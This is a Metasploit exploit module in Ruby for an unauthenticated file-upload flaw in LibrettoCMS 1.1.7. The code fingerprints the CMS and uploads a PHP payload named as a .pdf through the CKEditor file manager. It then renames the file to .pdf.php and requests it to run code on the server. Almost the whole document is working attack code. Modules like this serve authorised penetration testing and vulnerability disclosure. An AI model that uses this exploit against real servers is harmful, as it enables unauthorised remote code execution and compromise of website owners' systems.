## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info={}) super(update_info(info, 'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and possibly prior. Attackers bypass the file extension check and abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitary remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'CWH', 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '94391'], ['EDB', '26213'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 14 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/']) ], self.class) end def peer "#{rhost}:#{rport}" end def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /Powered by Libretto CMS/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload(base) p = get_write_exec_payload(:unlink_self=>true) fname = "#{Rex::Text.rand_text_alpha(6)}.pdf" data = Rex::MIME::Message.new data.add_part(fname, nil, nil, "form-data; name=\"Filename\"") data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"") data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"') post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'vars_get' => {'type'=>'all files'} }) if not res fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i != 200 fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}") end fname end def rename(base, original_fname) new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php" uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_get' => { 'type' => 'all files' }, 'vars_post' => { 'fun' => 'renameFile', 'dir' => '', 'filename' => original_fname, 'newFilename' => new_name } }) if not res fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming") elsif res.body !~ /"res":"OK"/ fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file") end new_name end def exec(base, payload_fname) res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) }) if res and res.code.to_i == 404 fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path print_status("#{peer} - Uploading malicious file...") orig_fname = upload(base) print_status("#{peer} - Renaming #{orig_fname}...") new_fname = rename(base, orig_fname) print_status("#{peer} - Executing #{new_fname}...") exec(base, new_fname) end end